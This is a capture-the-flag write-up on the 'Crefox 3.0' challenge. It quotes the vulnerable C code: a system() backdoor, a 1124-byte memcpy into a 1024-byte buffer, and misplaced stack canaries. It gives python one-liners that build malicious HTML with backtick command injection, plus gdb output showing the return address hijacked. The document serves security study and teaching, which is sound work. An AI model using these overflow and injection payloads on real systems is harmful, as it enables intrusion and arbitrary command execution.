Crefox 3-0

This is a complicated creature. A few vulnerabilities come into play here.

The first is the system backdoor

void
do_query_cmd(char *cmd, char *buf, char *data)
{

#define QUERY_DATA_SIZE 512

  strncat(strcat(strcpy(buf, cmd), " "), data, QUERY_DATA_SIZE);

  //  debug("query cmd: %s\n", buf);

  system(buf);

  return;
}

It is reached through a series of callbacks
but at first looks impossible to reach:

 char pad[2048];

  memset(pad, 0, sizeof(pad));

  f(arg);
  if (*(int *)pad == -1) {
But, one of the other functions has a specially
crafted buffer overflow.
             (void)extract_tags(page.memory, (char *)"iCTF", (char *)"code", print_ictf);

print_ictf...
  char buf[1024];
  memcpy(buf, globals.s, 1124);
  debug("ictf tag, code attr: %s\n", buf);

Triggering the vulnerabilities

UPDATE
There are two ways to win this one. It seems the canary code implementation is br0ken.

Check this out:

The payload
 python -c 'print "<html><ictf code=\""+ "\xef\xbe\xad\xde"*280+"`id`\"></ictf></html>"' > index.html
The result

Starting program: /home/adc/ctf/b/browsers/crefox/3.0/crefox 
[Thread debugging using libthread_db enabled]
ERROR:crefox:(non fatal):plugins not successfully loaded
COMMAND>p http://localhost/cr3.0/ adsf
DEBUG:crefox:args[0]: p
DEBUG:crefox:args[1]: http://localhost/cr3.0/
DEBUG:crefox:args[2]: adsf
DEBUG:crefox:Posting to URL: http://localhost/cr3.0/ with data: adsf
DEBUG:crefox:HTTP status: 200
<html><ictf code="????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????`id`"></ictf></html>

DEBUG:crefox:ictf tag, code attr: ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????`id`

Program received signal SIGSEGV, Segmentation fault.
0x0804b5e7 in print_ictf(void*) ()
(gdb) x/i $pc
0x804b5e7 <_Z10print_ictfPv+447>:    ret    
(gdb) x/wx $esp
0xbfffcc1c:    0xdeadbeef

Why doesn't the canary work you ask?
struct __globals {
  struct timeval tm;
  int *canary;
  int *scanary;
  char *s;
  char *buf, *ptr;
  long ebploc, ret, ebp;
} globals;

...
  globals.ptr =  buf;
  globals.scanary = (int *)globals.ptr, globals.ptr += 4;
  globals.buf = globals.ptr, globals.ptr += 768;
  globals.canary = (int *)globals.ptr, globals.ptr += 4;

  globals.s = (char *)(*(std::string *)value).c_str();
  (void)gettimeofday(&globals.tm, NULL);
  srand(globals.tm.tv_sec ^ globals.tm.tv_usec);
  *(globals.canary) = *(globals.scanary) = rand();
  memcpy(buf, globals.s, 1124);
  debug("ictf tag, code attr: %s\n", buf);

  if (*(int *)globals.canary != *(int *)globals.scanary) {

From the above code you can see that the canaries are both...on the stack.
Did some toilet paper company design this or something? :-) Let us look
closer.

here is a stack diagram of what should be going on
[padding] [ 1024 bytes for buf][saved registers][ saved frame pointer ] [saved return address]

0x0804b428 <_Z10print_ictfPv+0>:    push   %ebp
0x0804b429 <_Z10print_ictfPv+1>:    mov    %esp,%ebp
0x0804b42b <_Z10print_ictfPv+3>:    push   %esi
0x0804b42c <_Z10print_ictfPv+4>:    push   %ebx
0x0804b42d <_Z10print_ictfPv+5>:    sub    $0x410,%esp
....
0x0804b5de <_Z10print_ictfPv+438>:    add    $0x410,%esp
0x0804b5e4 <_Z10print_ictfPv+444>:    pop    %ebx
0x0804b5e5 <_Z10print_ictfPv+445>:    pop    %esi
0x0804b5e6 <_Z10print_ictfPv+446>:    pop    %ebp
0x0804b5e7 <_Z10print_ictfPv+447>:    ret    

//The first canary is going to point to the start of buf
  globals.ptr =  buf;
  globals.scanary = (int *)globals.ptr, globals.ptr += 4;
//The second canary points to somewhere in the middle (768+4=772)
  globals.buf = globals.ptr, globals.ptr += 768;
  globals.canary = (int *)globals.ptr, globals.ptr += 4;

Canary diagram:

[padding] [ 1024 bytes for buf..............][saved registers][ saved frame pointer ] [saved return address]
          [canary 1] ...[canary 2]..........]....
          ^input start        

So, as you can see,

  if (*(int *)globals.canary != *(int *)globals.scanary) {

Serves only one purpose -> to give you an easy way out if you've smashed the stack

Exploitation
You have two options. The first is to go for the system() call. The second is to
overflow stack metadata to hijack flow control. Both are easy.

For the system direction, make sure that the start of your buffer and your buffer+772
are not equal. For the other direction, make sure those two dwords are equal.

System should be the most reliable
python -c 'print "<html><ictf code=\"lahf"+"\xff"*100 + "`touch pwned`"+"\xff"*1000 +"\"></ictf></html>"' > index.html
Comments from Lorenzo reproduced without permission
  that's correct :-) Damn it, the regular stack smashing was not
  wanted! There's a "typo":

     memcpy(buf, globals.s, 1124);

  should have been:

       memcpy(globals.buf, globals.s, 1124);

  That way only the non-control data overflow should have enabled you
  to get into the "impossible path" to trigger the command injection.
  Bummer :-\, my bad (damn typo ;-)).
***

If only Lorenzo knew about the typos we were making...

Also available in: HTML TXT